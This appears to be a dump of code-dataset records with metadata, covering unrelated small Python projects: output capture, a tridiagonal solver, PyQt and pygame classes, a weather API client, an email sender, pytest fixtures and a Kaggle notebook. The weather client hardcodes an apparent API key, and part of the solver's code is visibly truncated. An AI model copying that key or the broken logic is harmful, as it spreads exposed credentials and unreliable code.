(outfile, errfile) and stop capturing. \"\"\"\n outfile = errfile = None\n if hasattr(self, 'out') and not self.out.tmpfile.closed:\n outfile = self.out.done()\n if hasattr(self, 'err') and not self.err.tmpfile.closed:\n errfile = self.err.done()\n if hasattr(self, 'in_'):\n tmpfile = self.in_.done()\n if save:\n self._save()\n return outfile, errfile\n\n def readouterr(self):\n \"\"\" return snapshot value of stdout/stderr capturings. \"\"\"\n if hasattr(self, \"out\"):\n out = self._readsnapshot(self.out.tmpfile)\n else:\n out = \"\"\n if hasattr(self, \"err\"):\n err = self._readsnapshot(self.err.tmpfile)\n else:\n err = \"\"\n return out, err\n\n def _readsnapshot(self, f):\n f.seek(0)\n res = f.read()\n enc = getattr(f, \"encoding\", None)\n if enc:\n res = py.builtin._totext(res, enc, \"replace\")\n f.truncate(0)\n f.seek(0)\n return res\n\n\nclass StdCapture(Capture):\n \"\"\" This class allows to capture writes to sys.stdout|stderr \"in-memory\"\n and will raise errors on tries to read from sys.stdin. It only\n modifies sys.stdout|stderr|stdin attributes and does not\n touch underlying File Descriptors (use StdCaptureFD for that).\n \"\"\"\n def __init__(self, out=True, err=True, in_=True, mixed=False, now=True):\n self._oldout = sys.stdout\n self._olderr = sys.stderr\n self._oldin = sys.stdin\n if out and not hasattr(out, 'file'):\n out = TextIO()\n self.out = out\n if err:\n if mixed:\n err = out\n elif not hasattr(err, 'write'):\n err = TextIO()\n self.err = err\n self.in_ = in_\n if now:\n self.startall()\n\n def startall(self):\n if self.out:\n sys.stdout = self.out\n if self.err:\n sys.stderr = self.err\n if self.in_:\n sys.stdin = self.in_ = DontReadFromInput()\n\n def done(self, save=True):\n \"\"\" return (outfile, errfile) and stop capturing. \"\"\"\n outfile = errfile = None\n if self.out and not self.out.closed:\n sys.stdout = self._oldout\n outfile = self.out\n outfile.seek(0)\n if self.err and not self.err.closed:\n sys.stderr = self._olderr\n errfile = self.err\n errfile.seek(0)\n if self.in_:\n sys.stdin = self._oldin\n return outfile, errfile\n\n def resume(self):\n \"\"\" resume capturing with original temp files. \"\"\"\n self.startall()\n\n def readouterr(self):\n \"\"\" return snapshot value of stdout/stderr capturings. \"\"\"\n out = err = \"\"\n if self.out:\n out = self.out.getvalue()\n self.out.truncate(0)\n self.out.seek(0)\n if self.err:\n err = self.err.getvalue()\n self.err.truncate(0)\n self.err.seek(0)\n return out, err\n\nclass DontReadFromInput:\n \"\"\"Temporary stub class. Ideally when stdin is accessed, the\n capturing should be turned off, with possibly all data captured\n so far sent to the screen. This should be configurable, though,\n because in automated test runs it is better to crash than\n hang indefinitely.\n \"\"\"\n def read(self, *args):\n raise IOError(\"reading from stdin while output is captured\")\n readline = read\n readlines = read\n __iter__ = read\n\n def fileno(self):\n raise ValueError(\"redirected Stdin is pseudofile, has no fileno()\")\n def isatty(self):\n return False\n def close(self):\n pass\n\ntry:\n devnullpath = os.devnull\nexcept AttributeError:\n if os.name == 'nt':\n devnullpath = 'NUL'\n else:\n devnullpath = '/dev/null'\n", "repo_name": "servo/servo", "sub_path": "tests/wpt/tests/tools/third_party/py/py/_io/capture.py", "file_name": "capture.py", "file_ext": "py", "file_size_in_byte": 11652, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 24247, "dataset": "github-code", "pt": "86", "api": [{"api_name": "sys.version_info", "line_number": 11, "usage_type": "attribute"}, {"api_name": "StringIO.StringIO", "line_number": 12, "usage_type": "name"}, {"api_name": "StringIO.StringIO.write", "line_number": 16, "usage_type": "call"}, {"api_name": "StringIO.StringIO", "line_number": 16, "usage_type": "name"}, {"api_name": "StringIO.StringIO", "line_number": 18, "usage_type": "name"}, {"api_name": "StringIO.StringIO", "line_number": 23, "usage_type": "name"}, {"api_name": "StringIO.StringIO.write", "line_number": 27, "usage_type": "call"}, {"api_name": "StringIO.StringIO", "line_number": 27, "usage_type": "name"}, {"api_name": "tempfile.TemporaryFile", "line_number": 42, "usage_type": "call"}, {"api_name": "os.dup", "line_number": 46, "usage_type": "call"}, {"api_name": "os.fstat", "line_number": 54, "usage_type": "call"}, {"api_name": "os.open", "line_number": 59, "usage_type": "call"}, {"api_name": "os.O_RDONLY", "line_number": 59, "usage_type": "attribute"}, {"api_name": "os.dup2", "line_number": 60, "usage_type": "call"}, {"api_name": "os.close", "line_number": 61, "usage_type": "call"}, {"api_name": "os.dup2", "line_number": 65, "usage_type": "call"}, {"api_name": "os.dup2", "line_number": 72, "usage_type": "call"}, {"api_name": "os.close", "line_number": 73, "usage_type": "call"}, {"api_name": "tempfile.TemporaryFile", "line_number": 83, "usage_type": "call"}, {"api_name": "os.dup2", "line_number": 85, "usage_type": "call"}, {"api_name": "os.dup", "line_number": 107, "usage_type": "call"}, {"api_name": "sys.version_info", "line_number": 108, "usage_type": "attribute"}, {"api_name": "os.fdopen", "line_number": 112, "usage_type": "call"}, {"api_name": "os.fdopen", "line_number": 114, "usage_type": "call"}, {"api_name": "py.builtin._totext", "line_number": 276, "usage_type": "call"}, {"api_name": "py.builtin", "line_number": 276, "usage_type": "attribute"}, {"api_name": "sys.stdout", "line_number": 289, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 290, "usage_type": "attribute"}, {"api_name": "sys.stdin", "line_number": 291, "usage_type": "attribute"}, {"api_name": "sys.stdout", "line_number": 307, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 309, "usage_type": "attribute"}, {"api_name": "sys.stdin", "line_number": 311, "usage_type": "attribute"}, {"api_name": "sys.stdout", "line_number": 317, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 321, "usage_type": "attribute"}, {"api_name": "sys.stdin", "line_number": 325, "usage_type": "attribute"}, {"api_name": "os.devnull", "line_number": 366, "usage_type": "attribute"}, {"api_name": "os.name", "line_number": 368, "usage_type": "attribute"}]} +{"seq_id": "4295103839", "text": "import numpy as np\r\n\r\n# In a n by n matrix we have n^2 cells to stock, in a n by 3 matrix we only have 3n cells to stock so we have n^2-3n cells less\r\n\r\ndef randomTriDiag(n):\r\n A=np.random.random(size=(n,n))\r\n for i in range(n):\r\n for j in range(n):\r\n if i-j>1 or j-i>1:\r\n A[i,j]=0\r\n print(A)\r\n return A\r\n\r\ndef TRIreduite(A):\r\n n=len(A)\r\n B=np.zeros((n,3))\r\n\r\n for i in range(n):\r\n for j in range(n):\r\n if A[i][j]==0:\r\n pass\r\n elif i==j:\r\n B[i][1]=A[i][j]\r\n elif i>j:\r\n B[i][0]=A[i][j]\r\n elif ij:\r\n L[i][j]=coefs[j][i-1-j]\r\n\r\n\r\n return L,U #The L matrix is a lower triangular matrix with only the closest(lower) diagonal having values, The matrix U is an upper triangular matrix with the middle diagonal and the closest(upper) one having values\r\n\"\"\"\"\r\n[[ 1. 0. 0. 0. 0. ]\r\n [ 1.4873249 1. 0. 0. 0. ]\r\n [ 0. -0.32119203 1. 0. 0. ]\r\n [ 0. -0. 0.0251997 1. 0. ]\r\n [ 0. -0. 0. 0.61679759 1. ]]\r\n[[ 0.25094614 0.9187219 0. 0. 0. ]\r\n [ 0. -0.47843223 0.43134588 0. 0. ]\r\n [ 0. 0. 0.65541333 0.12130508 0. ]\r\n [ 0. 0. 0. 0.24991897 0.46514466]\r\n [ 0. 0. 0. 0. 0.34301855]]\r\n \"\"\"\r\ndef triLU(B):\r\n n=len(B)\r\n M=np.zeros((n,3))\r\n for k in range(n):\r\n if k ==0:\r\n M[k][1]=B[k][1]\r\n M[k][2]=B[k][2]\r\n else:\r\n M[k][0]=B[k][0]/M[k-1][1]\r\n M[k][1]=B[k][1]-B[k][0]*B[k-1][2]/M[k-1][1]\r\n M[k][2]=B[k][2]\r\n\r\n return M\r\n\r\ndef triLUResol(M,b):\r\n y=np.zeros((len(b),1))\r\n x = np.zeros((len(b), 1))\r\n t_start = 0\r\n t_end = 0\r\n t_start=time.time()\r\n for k in range(len(y)):\r\n if k==0:\r\n y[k]=b[k]\r\n else:\r\n y[k]=b[k]-y[k-1]*M[k][0]\r\n\r\n\r\n for j in range(len(y)-1,-1,-1):\r\n if j==len(y)-1:\r\n x[j]=y[j]/M[j][1]\r\n else:\r\n x[j]=(y[j]-M[j][2]*x[j+1])/M[j][1]\r\n t_end=time.time()\r\n return x,t_start,t_end\r\n\r\n\r\ndef triResol(B,b):\r\n\r\n\r\n x,t_start,t_end= triLUResol(triLU(B),b)\r\n return x,t_start,t_end\r\n\r\n\r\n#n=5\r\nimport time\r\n\r\n\r\n#x=np.random.random(size=(n,1))\r\n#b=np.random.random(size=(n,1))\r\n#print(b)\r\n#print(\"########################################\")\r\n#print(triLUResol(triLU(TRIreduite(randomTriDiag(n))),b))\r\n\r\n\r\nn=[100,1000,2000,5000,10000]\r\nt_start = []\r\nt_end = []\r\nfor i in range(5):\r\n b = np.random.random(size=(n[i], 1))\r\n\r\n sol,start,end=triResol(TRIreduite(randomTriDiag(n[i])),b)\r\n t_start.append(start)\r\n t_end.append(end)\r\n\r\n\r\n\r\ntimes=[]\r\nfor i in range(len(t_start)):\r\n times.append(t_end[i]-t_start[i])\r\nprint(times)\r\n\r\nimport matplotlib.pyplot as plt\r\nplt.plot(n,times)\r\nplt.show()\r\n\r\n", "repo_name": "M-ister-IO/TP-MATH-tridiagonal", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 4829, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "numpy.random.random", "line_number": 6, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 6, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.random.random", "line_number": 168, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 168, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 182, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 182, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 183, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 183, "usage_type": "name"}]} +{"seq_id": "17884467243", "text": "from PyQt5.QtWidgets import QPushButton, QWidget\nfrom PyQt5 import QtCore\n\n\nclass ProductButton(QPushButton):\n clicked = QtCore.pyqtSignal(QPushButton)\n\n def __init__(self, parent: QWidget=None, **kwargs):\n QPushButton.__init__(self, parent)\n self.setText(kwargs['product_name'])\n self.product_name = kwargs['product_name']\n self.product_id = kwargs['product_id']\n self.product_unit = kwargs['product_unit']\n\n def mousePressEvent(self, e) -> None:\n self.clicked.emit(self)\n QPushButton.mousePressEvent(self, e)\n", "repo_name": "SaidkomilMS/BarnLastDesign", "sub_path": "modifiedclasses/productbutton.py", "file_name": "productbutton.py", "file_ext": "py", "file_size_in_byte": 569, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 5, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.pyqtSignal", "line_number": 6, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 6, "usage_type": "argument"}, {"api_name": "PyQt5.QtCore", "line_number": 6, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 8, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton.__init__", "line_number": 9, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 9, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton.mousePressEvent", "line_number": 17, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 17, "usage_type": "name"}]} +{"seq_id": "20375106074", "text": "import requests\r\n\r\napi_key = \"129f96a54f0ea96553a85b95a535eca6\"\r\nbase_url = \"http://api.openweathermap.org/data/2.5/weather?\"\r\n\r\ndef get_weather(city_name):\r\n complete_url = base_url + \"appid=\" + api_key + \"&q=\" + city_name\r\n response = requests.get(complete_url)\r\n data = response.json()\r\n\r\n if data[\"cod\"] != \"404\":\r\n if \"main\" in data:\r\n temp = round(float(data[\"main\"][\"temp\"]) - 273.15, 2) # convertir Kelvin a Celsius\r\n humidity = data[\"main\"][\"humidity\"]\r\n else:\r\n temp = \"Unknown\"\r\n humidity = \"Unknown\"\r\n\r\n if \"weather\" in data:\r\n weather = data[\"weather\"][0][\"description\"]\r\n else:\r\n weather = \"Unknown\"\r\n\r\n if \"wind\" in data:\r\n wind_speed = data[\"wind\"][\"speed\"]\r\n else:\r\n wind_speed = \"Unknown\"\r\n\r\n return {\"weather\": weather, \"temp\": temp, \"humidity\": humidity, \"wind_speed\": wind_speed}\r\n else:\r\n return {\"error\": \"City not found.\"}\r\n\r\nprint(get_weather(\"London, GB\"))\r\n", "repo_name": "NilmarLutino/prueba_web_service", "sub_path": "weather_service.py", "file_name": "weather_service.py", "file_ext": "py", "file_size_in_byte": 1043, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "requests.get", "line_number": 8, "usage_type": "call"}]} +{"seq_id": "19121331930", "text": "from openpyxl import load_workbook\nfrom path_of_excel_files import VRP, BEGIN_DATE, AREA\n\nVRP = load_workbook(filename=VRP)\nVRP_SHEET = VRP['Лист1']\n\n\ndef get_name_of_indicator():\n indicator_name = ''\n for cell in VRP_SHEET['A']:\n if cell.value == 'Валовой региональный продукт по субъектам Российской Федерации (валовая добавленная ' \\\n 'стоимость в основных ценах)':\n indicator_name += cell.value\n return indicator_name\n\n\ndef get_years():\n \"\"\"\n Возвращает заголовки Excel-файла(годы)\n :return: Заголовки\n \"\"\"\n headers = []\n for cell in VRP_SHEET[5]:\n headers.append(str(cell.value))\n headers = [char.replace(\"г.\", \"\") for char in headers]\n headers = list(map(int, headers[1::]))\n begin_years = [year for year in headers if year > BEGIN_DATE]\n return begin_years\n\n\ndef get_value_vrp(areas):\n \"\"\"\n Срез значений по годам для одной области\n :param area: область AREA\n :return: Название области, значения по годам\n \"\"\"\n area_name = {}\n years = get_years()\n indicator_name = get_name_of_indicator()\n\n for row in VRP_SHEET.iter_rows(min_row=1, min_col=1, values_only=True):\n for area in areas:\n if row[0] == area:\n area_name[area] = {}\n values = []\n for val in row[1:]:\n values.append(val)\n area_name[area] = dict(zip(years, values[len(years)+1:]))\n res = {indicator_name: area_name}\n return res\n\n\ndef get_areas():\n \"\"\"\n Получить все значения областей из списка\n :return:\n \"\"\"\n areas = []\n for cell in VRP_SHEET['A']:\n if cell.value is None:\n continue\n if 'федеральный' in cell.value:\n continue\n if 'Республика' in cell.value:\n areas.append(cell.value)\n if 'область' in cell.value:\n areas.append(cell.value)\n if 'округ' in cell.value:\n areas.append(cell.value)\n return areas\n\nif __name__ == '__main__':\n get_years()\n print(get_value_vrp(areas=AREA))\n", "repo_name": "Dess1996/Work2", "sub_path": "for_vrp_reading.py", "file_name": "for_vrp_reading.py", "file_ext": "py", "file_size_in_byte": 2360, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "path_of_excel_files.VRP", "line_number": 4, "usage_type": "name"}, {"api_name": "openpyxl.load_workbook", "line_number": 4, "usage_type": "call"}, {"api_name": "path_of_excel_files.VRP", "line_number": 5, "usage_type": "name"}, {"api_name": "path_of_excel_files.BEGIN_DATE", "line_number": 27, "usage_type": "name"}, {"api_name": "path_of_excel_files.AREA", "line_number": 74, "usage_type": "name"}]} +{"seq_id": "15786366767", "text": "# coding=utf-8\nimport pygame\n\n\nclass Ship:\n def __init__(self, ai_settings, screen):\n \"\"\"初始化飞船并设置初始位置\"\"\"\n self.ai_settings = ai_settings\n self.screen = screen\n\n self.image = pygame.image.load(\"resources/ship.bmp\")\n self.rect = self.image.get_rect()\n self.screen_rect = screen.get_rect()\n\n # 将每艘飞船放在屏幕底部中央\n self.rect.centerx = self.screen_rect.centerx\n self.rect.bottom = self.screen_rect.bottom\n\n self.moving_right = False\n self.moving_left = False\n\n self.center = float(self.rect.centerx)\n\n def update(self):\n \"\"\"根据标记移动飞船\"\"\"\n if self.moving_right and self.rect.right < self.screen_rect.right:\n self.center += self.ai_settings.ship_speed_factor\n elif self.moving_left and self.rect.left > self.screen_rect.left:\n self.center -= self.ai_settings.ship_speed_factor\n self.rect.centerx = self.center\n\n def blit_me(self):\n \"\"\"在指定位置绘制飞船\"\"\"\n self.screen.blit(self.image, self.rect)\n\n def center_ship(self):\n self.center = self.screen_rect.centerx\n", "repo_name": "isshe/coding-life", "sub_path": "D.编程语言/6.Python/1.Python编程：从入门到实践/12-14.外星人入侵/ship.py", "file_name": "ship.py", "file_ext": "py", "file_size_in_byte": 1191, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "86", "api": [{"api_name": "pygame.image.load", "line_number": 11, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 11, "usage_type": "attribute"}]} +{"seq_id": "34710761672", "text": "#!/usr/bin/env python3\n\nimport smtplib\nimport ssl\nimport sec # Local secrets\nimport json\nfrom datetime import datetime as dt\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\n\ntoday_date = dt.today().strftime('%d-%m-%Y')\nsubject_of_email = f'Lobste.rs articles from: {today_date}'\n\n\ndef all_receivers():\n if type(sec.email_receiver) is list:\n receivers = ', '.join(sec.email_receiver)\n else:\n receivers = sec.email_receiver\n return receivers\n\n\ndef send_the_lobster_articles(body_contents):\n em = MIMEMultipart()\n em['From'] = sec.email_sender\n em['To'] = all_receivers()\n em['Subject'] = subject_of_email\n em.attach(MIMEText(body_contents, 'html'))\n\n context = ssl.create_default_context()\n\n with smtplib.SMTP_SSL('smtp.gmail.com', 465, context=context) as smtp:\n smtp.login(sec.email_sender, sec.email_sender_password)\n smtp.sendmail(sec.email_sender, sec.email_receiver, em.as_string())\n", "repo_name": "tostefanc/lobste.rs-articles", "sub_path": "send_email.py", "file_name": "send_email.py", "file_ext": "py", "file_size_in_byte": 982, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "datetime.datetime.today", "line_number": 11, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 11, "usage_type": "name"}, {"api_name": "sec.email_receiver", "line_number": 16, "usage_type": "attribute"}, {"api_name": "sec.email_receiver", "line_number": 17, "usage_type": "attribute"}, {"api_name": "sec.email_receiver", "line_number": 19, "usage_type": "attribute"}, {"api_name": "email.mime.multipart.MIMEMultipart", "line_number": 24, "usage_type": "call"}, {"api_name": "sec.email_sender", "line_number": 25, "usage_type": "attribute"}, {"api_name": "email.mime.text.MIMEText", "line_number": 28, "usage_type": "call"}, {"api_name": "ssl.create_default_context", "line_number": 30, "usage_type": "call"}, {"api_name": "smtplib.SMTP_SSL", "line_number": 32, "usage_type": "call"}, {"api_name": "sec.email_sender", "line_number": 33, "usage_type": "attribute"}, {"api_name": "sec.email_sender_password", "line_number": 33, "usage_type": "attribute"}, {"api_name": "sec.email_sender", "line_number": 34, "usage_type": "attribute"}, {"api_name": "sec.email_receiver", "line_number": 34, "usage_type": "attribute"}]} +{"seq_id": "16797879512", "text": "from pathlib import Path\n\nimport pytest\nimport yaml\nfrom appcfg import get_config\nfrom flask.testing import FlaskClient\nfrom flask_jwt_extended import create_access_token, create_refresh_token\nfrom werkzeug.datastructures import Headers\n\nfrom gatekeeper.app import app\nfrom gatekeeper.models.descriptors import Descriptor, DescriptorType\nfrom gatekeeper.models.services import Service\nfrom gatekeeper.models.users import User\nfrom manobase.messaging.request_response import ManoBrokerRequestResponseConnection\n\nFIXTURE_DIR = Path(__file__).parent / \"fixtures\"\n\nconfig = get_config(\"gatekeeper\")\n\n\nclass AuthorizedFlaskClient(FlaskClient):\n\n accessToken: str\n\n def open(self, *args, **kwargs):\n headers = kwargs.pop(\"headers\", Headers())\n headers.extend(\n Headers({\"Authorization\": \"Bearer \" + AuthorizedFlaskClient.accessToken})\n )\n kwargs[\"headers\"] = headers\n return super().open(*args, **kwargs)\n\n\n# User and auth fixtures\n\n\n@pytest.fixture(scope=\"session\")\ndef adminUser():\n return User.objects(username=config[\"initialUserData\"][\"username\"]).get()\n\n\n@pytest.fixture(scope=\"session\")\ndef adminPassword():\n return config[\"initialUserData\"][\"password\"]\n\n\n@pytest.fixture(scope=\"session\")\ndef accessToken(adminUser):\n with app.app.app_context():\n return create_access_token(adminUser)\n\n\n@pytest.fixture(scope=\"session\")\ndef refreshToken(adminUser):\n with app.app.app_context():\n return create_refresh_token(adminUser)\n\n\n# Api fixtures\n\n\n@pytest.fixture(scope=\"module\")\ndef unauthorizedApi():\n app.app.test_client_class = FlaskClient\n with app.app.test_client() as c:\n yield c\n\n\n@pytest.fixture(scope=\"module\")\ndef api(accessToken):\n AuthorizedFlaskClient.accessToken = accessToken\n app.app.test_client_class = AuthorizedFlaskClient\n with app.app.test_client() as c:\n yield c\n\n\n# Database-related fixtures\n\n\n@pytest.fixture(scope=\"function\", autouse=True)\ndef dropMongoDbCollections():\n \"\"\"\n Empties a number of MongoDB collections after each test function\n \"\"\"\n yield\n with app.app.app_context():\n Descriptor.objects.delete()\n Service.objects.delete()\n\n\n# Data fixtures\n\n\n@pytest.fixture(scope=\"session\")\ndef getDescriptorFixture():\n def _getDescriptorFileContents(filename):\n with (FIXTURE_DIR / filename).open() as descriptor:\n return yaml.safe_load(descriptor)\n\n return _getDescriptorFileContents\n\n\n@pytest.fixture(scope=\"session\")\ndef exampleServiceDescriptor(getDescriptorFixture):\n return getDescriptorFixture(\"service-descriptor.yml\")\n\n\n@pytest.fixture(scope=\"session\")\ndef exampleOpenStackDescriptor(getDescriptorFixture):\n return getDescriptorFixture(\"openstack-descriptor.yml\")\n\n\n@pytest.fixture(scope=\"function\")\ndef exampleService(api, getDescriptorFixture, mocker):\n mocker.patch(\"gatekeeper.api.services.repository\")\n\n def uploadDescriptor(type: DescriptorType, content):\n response = api.post(\n \"/api/v3/descriptors\", json={\"type\": type.value, \"content\": content}\n )\n print(response.get_json())\n assert 201 == response.status_code\n return response.get_json()\n\n serviceDescriptor = uploadDescriptor(\n DescriptorType.SERVICE, getDescriptorFixture(\"onboarding/root-service.yml\")\n )\n\n for i in range(1, 3):\n uploadDescriptor(\n DescriptorType.OPENSTACK,\n getDescriptorFixture(\"onboarding/vnf-{}.yml\".format(i)),\n )\n\n response = api.post(\"/api/v3/services\", json={\"id\": serviceDescriptor[\"id\"]})\n assert 201 == response.status_code\n return response.get_json()\n\n\n# Messaging-related fixtures\n\n\n@pytest.fixture(scope=\"module\")\ndef broker():\n \"\"\"\n A loopback broker connection\n \"\"\"\n connection = ManoBrokerRequestResponseConnection(\n \"test-connection\", is_loopback=True\n )\n yield connection\n connection.close()\n", "repo_name": "CN-UPB/Pishahang", "sub_path": "src/gatekeeper/tests/conftest.py", "file_name": "conftest.py", "file_ext": "py", "file_size_in_byte": 3924, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "86", "api": [{"api_name": "pathlib.Path", "line_number": 16, "usage_type": "call"}, {"api_name": "appcfg.get_config", "line_number": 18, "usage_type": "call"}, {"api_name": "flask.testing.FlaskClient", "line_number": 21, "usage_type": "name"}, {"api_name": "werkzeug.datastructures.Headers", "line_number": 26, "usage_type": "call"}, {"api_name": "werkzeug.datastructures.Headers", "line_number": 28, "usage_type": "call"}, {"api_name": "gatekeeper.models.users.User.objects", "line_number": 39, "usage_type": "call"}, {"api_name": "gatekeeper.models.users.User", "line_number": 39, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 37, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 42, "usage_type": "call"}, {"api_name": "gatekeeper.app.app.app.app_context", "line_number": 49, "usage_type": "call"}, {"api_name": "gatekeeper.app.app.app", "line_number": 49, "usage_type": "attribute"}, {"api_name": "gatekeeper.app.app", "line_number": 49, "usage_type": "name"}, {"api_name": "flask_jwt_extended.create_access_token", "line_number": 50, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 47, "usage_type": "call"}, {"api_name": "gatekeeper.app.app.app.app_context", "line_number": 55, "usage_type": "call"}, {"api_name": "gatekeeper.app.app.app", "line_number": 55, "usage_type": "attribute"}, {"api_name": "gatekeeper.app.app", "line_number": 55, "usage_type": "name"}, {"api_name": "flask_jwt_extended.create_refresh_token", "line_number": 56, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 53, "usage_type": "call"}, {"api_name": "gatekeeper.app.app.app", "line_number": 64, "usage_type": "attribute"}, {"api_name": "gatekeeper.app.app", "line_number": 64, "usage_type": "name"}, {"api_name": "flask.testing.FlaskClient", "line_number": 64, "usage_type": "name"}, {"api_name": "gatekeeper.app.app.app.test_client", "line_number": 65, "usage_type": "call"}, {"api_name": "gatekeeper.app.app.app", "line_number": 65, "usage_type": "attribute"}, {"api_name": "gatekeeper.app.app", "line_number": 65, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 62, "usage_type": "call"}, {"api_name": "gatekeeper.app.app.app", "line_number": 72, "usage_type": "attribute"}, {"api_name": "gatekeeper.app.app", "line_number": 72, "usage_type": "name"}, {"api_name": "gatekeeper.app.app.app.test_client", "line_number": 73, "usage_type": "call"}, {"api_name": "gatekeeper.app.app.app", "line_number": 73, "usage_type": "attribute"}, {"api_name": "gatekeeper.app.app", "line_number": 73, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 69, "usage_type": "call"}, {"api_name": "gatekeeper.app.app.app.app_context", "line_number": 86, "usage_type": "call"}, {"api_name": "gatekeeper.app.app.app", "line_number": 86, "usage_type": "attribute"}, {"api_name": "gatekeeper.app.app", "line_number": 86, "usage_type": "name"}, {"api_name": "gatekeeper.models.descriptors.Descriptor.objects.delete", "line_number": 87, "usage_type": "call"}, {"api_name": "gatekeeper.models.descriptors.Descriptor.objects", "line_number": 87, "usage_type": "attribute"}, {"api_name": "gatekeeper.models.descriptors.Descriptor", "line_number": 87, "usage_type": "name"}, {"api_name": "gatekeeper.models.services.Service.objects.delete", "line_number": 88, "usage_type": "call"}, {"api_name": "gatekeeper.models.services.Service.objects", "line_number": 88, "usage_type": "attribute"}, {"api_name": "gatekeeper.models.services.Service", "line_number": 88, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 80, "usage_type": "call"}, {"api_name": "yaml.safe_load", "line_number": 98, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 94, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 103, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 108, "usage_type": "call"}, {"api_name": "gatekeeper.models.descriptors.DescriptorType", "line_number": 117, "usage_type": "name"}, {"api_name": "gatekeeper.models.descriptors.DescriptorType.SERVICE", "line_number": 126, "usage_type": "attribute"}, {"api_name": "gatekeeper.models.descriptors.DescriptorType", "line_number": 126, "usage_type": "name"}, {"api_name": "gatekeeper.models.descriptors.DescriptorType.OPENSTACK", "line_number": 131, "usage_type": "attribute"}, {"api_name": "gatekeeper.models.descriptors.DescriptorType", "line_number": 131, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 113, "usage_type": "call"}, {"api_name": "manobase.messaging.request_response.ManoBrokerRequestResponseConnection", "line_number": 148, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 143, "usage_type": "call"}]} +{"seq_id": "74447978203", "text": "import numpy as np # linear algebra\n\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\n\nimport matplotlib.pyplot as plt\n\nimport seaborn as sns\n\nimport time\n\nfrom datetime import datetime\n\nfrom collections import Counter\n\nfrom subprocess import check_output\n\nprint(check_output([\"ls\", \"../input\"]).decode(\"utf8\"))\ntrain = pd.read_csv('../input/train.csv')\n\n#sample_submission_zero= pd.read_csv('../input/sample_submission_zero.csv')\n\nmembers = pd.read_csv('../input/members.csv')\n\ntransactions = pd.read_csv('../input/transactions.csv')\n\n#user_logs = pd.read_csv('../input/user_logs.csv',nrows = 2e7)\n\n\n\ntrain.head()\ntrain.info()\ntrain.describe()\ntraining = pd.merge(left = train,right = members,how = 'left',on=['msno'])\n\ntraining.head()\ntraining.info()\ntraining['city'] = training.city.apply(lambda x: int(x) if pd.notnull(x) else \"NAN\")\n\ntraining['registered_via'] = training.registered_via.apply(lambda x: int(x) if pd.notnull(x) else \"NAN\")\n\ntraining['gender']=training['gender'].fillna(\"NAN\")\n\ntraining.info()\ntraining['registration_init_time'] = training.registration_init_time.apply(lambda x: datetime.strptime(str(int(x)), \"%Y%m%d\").date() if pd.notnull(x) else \"NAN\" )\n\ntraining['expiration_date'] = training.expiration_date.apply(lambda x: datetime.strptime(str(int(x)), \"%Y%m%d\").date() if pd.notnull(x) else \"NAN\")\n\ntraining.head()\n# City count\n\nplt.figure(figsize=(12,12))\n\nplt.subplot(411)\n\ncity_order = training['city'].unique()\n\ncity_order=sorted(city_order, key=lambda x: float(x))\n\nsns.countplot(x=\"city\", data=training , order = city_order)\n\nplt.ylabel('Count', fontsize=12)\n\nplt.xlabel('City', fontsize=12)\n\nplt.xticks(rotation='vertical')\n\nplt.title(\"Frequency of City Count\", 